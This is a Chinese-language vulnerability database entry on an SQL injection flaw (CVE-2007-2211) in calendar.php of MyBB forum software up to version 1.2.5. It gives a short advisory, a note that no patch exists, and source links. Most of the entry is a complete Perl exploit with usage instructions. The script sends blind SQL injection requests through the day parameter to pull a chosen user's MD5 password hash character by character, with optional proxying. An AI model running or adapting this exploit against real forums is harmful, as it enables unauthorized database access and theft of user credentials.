添加时间:
2008-10-04

系统编号:
WAVDB-01104
BugCVE: CVE-2007-2211
BUGTRAQ: 23612

影响版本:
MyBB <= 1.2.5

程序介绍:

MyBB是一款流行的Web论坛程序。

漏洞分析:

MyBB的实现上存在输入验证漏洞，远程攻击者可能利用此漏洞非授权访问操作数据库。 MyBB的calendar.php脚本没有对year、month或day参数数据做充分的检查过滤，远程攻击者可以在输入数据中插入特定的SQL语句，导致攻击者浏览、添加或修改删除后端数据库中的信息。

漏洞利用:

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit   #\n";
  print "   #   Bug found and Exploit coded by 0x86                     #\n";
  print "   #                                                           #\n";
  print "   #   www.geeksec.net                                         #\n";
  print "   #   0x86 [at] geeksec.net                                   #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl mybb.pl host path <options>               #\n";
  print "   #   Example: perl mybb.pl www.host.com /mybb/ -u 5          #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -u    User-ID, default: 1                             #\n";
  print "   #     -p    Proxy support                                   #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my %options = ();
GetOptions(\%options, "u=i", "p=s");

print "[+] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

syswrite(STDOUT, "[+] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[+] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%20SUBSTRING((SELECT%20password%20FROM%20mybb_users%20WHERE%20uid=".$uid."),".$i.",1)=CHAR(".$h.")/*";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "profile";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

解决方案:
厂商补丁：
MyBB
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.mybboard.com/

信息来源:
<*来源：0x86 （0x86@geeksec.net）
链接：http://xforce.iss.net/xforce/xfdb/33814
http://secunia.com/advisories/24967/
*>